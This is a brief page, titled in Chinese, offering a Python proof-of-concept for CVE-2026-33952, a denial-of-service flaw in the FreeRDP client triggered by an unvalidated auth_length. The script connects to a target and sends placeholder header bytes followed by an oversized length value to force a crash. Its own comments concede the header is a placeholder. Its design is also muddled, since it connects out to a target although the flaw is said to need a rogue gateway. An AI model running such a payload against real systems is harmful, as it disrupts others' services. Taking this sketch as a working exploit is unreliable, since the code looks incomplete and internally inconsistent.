CVE-2026-33952 FreeRDP客户端拒绝服务漏洞

import socket # PoC for CVE-2026-33952: FreeRDP DoS via unvalidated auth_length # This script simulates sending a malicious packet to a client connecting to a rogue gateway. # Trigger: WINPR_ASSERT failure in rts_read_auth_verifier_no_checks() def send_malicious_packet(target_host, target_port): """ Sends a crafted packet with an invalid auth_length to trigger the crash. Note: Actual exploitation requires a specific RDP Gateway protocol context. """ try: # Create a socket connection to the target (simulating the client side interaction or gateway response) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Constructing a simplified malicious payload # The vulnerability is triggered by an invalid auth_length field. # We send a header followed by an unexpected length value. header = b'\x30\x00' * 5 # Placeholder header bytes # Craft an invalid auth_length (e.g., extremely large value) # This aims to bypass checks and trigger the assert in the client. malicious_auth_length = b'\xFF\xFF\xFF\xFF' payload = header + malicious_auth_length sock.send(payload) print(f"[+] Payload sent to {target_host}:{target_port}") print("[+] If the target is a vulnerable FreeRDP client, it may crash with SIGABRT.") sock.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage (requires actual target setup) # send_malicious_packet("192.168.1.10", 3389) pass